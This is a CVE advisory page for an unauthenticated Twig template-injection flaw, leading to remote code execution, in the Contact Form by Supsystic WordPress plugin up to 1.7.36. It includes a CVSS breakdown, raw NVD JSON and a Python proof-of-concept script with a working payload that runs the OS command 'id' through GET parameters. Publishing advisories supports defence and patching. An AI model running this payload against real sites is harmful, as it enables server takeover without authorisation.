Security Vulnerability Report
中文
CVE-2026-4257 CVSS 9.8 CRITICAL

CVE-2026-4257

Published: 2026-03-30 22:16:20
Last Modified: 2026-04-24 18:11:17

Description

The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig `Twig_Loader_String` template engine without sandboxing, combined with the `cfsPreFill` prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig's `registerUndefinedFilterCallback()` method to register arbitrary PHP callbacks.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Contact Form by Supsystic <= 1.7.36

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual target) target_url = "http://example.com/" # The vulnerable parameter is often related to form pre-filling via GET # The payload uses Twig syntax to register 'system' as a callback for undefined filters # and then executes the 'id' command. payload = "{{_self.env.registerUndefinedFilterCallback('system')}}{{['id']|filter('system')}}" # Construct the GET request # Note: The specific parameter name (e.g., 'cfs', 'data', 'form_field') may vary based on plugin configuration params = { "cfsPreFill": "1", "form_field": payload # Attacker controls the input to the template } try: response = requests.get(target_url, params=params, timeout=10) # Check if the command output is present in the response if "uid=" in response.text: print("[+] Exploit successful! RCE achieved.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Exploit failed or output not found.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4257", "sourceIdentifier": "[email protected]", "published": "2026-03-30T22:16:20.313", "lastModified": "2026-04-24T18:11:16.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig `Twig_Loader_String` template engine without sandboxing, combined with the `cfsPreFill` prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig's `registerUndefinedFilterCallback()` method to register arbitrary PHP callbacks."}, {"lang": "es", "value": "El plugin Contact Form by Supsystic para WordPress es vulnerable a la inyección de plantillas del lado del servidor (SSTI) lo que lleva a la ejecución remota de código (RCE) en todas las versiones hasta la 1.7.36, inclusive. Esto se debe a que el plugin utiliza el motor de plantillas Twig 'Twig_Loader_String' sin sandboxing, combinado con la funcionalidad de precarga 'cfsPreFill' que permite a los usuarios no autenticados inyectar expresiones Twig arbitrarias en los valores de los campos del formulario a través de parámetros GET. Esto hace posible que atacantes no autenticados ejecuten funciones PHP y comandos del sistema operativo arbitrarios en el servidor aprovechando el método 'registerUndefinedFilterCallback()' de Twig para registrar retrollamadas PHP arbitrarias."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.7.36/modules/forms/views/forms.php#L323", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/415c9658-bfb2-453b-a697-c63c08b0ca61?source=cve", "source": "[email protected]"}]}}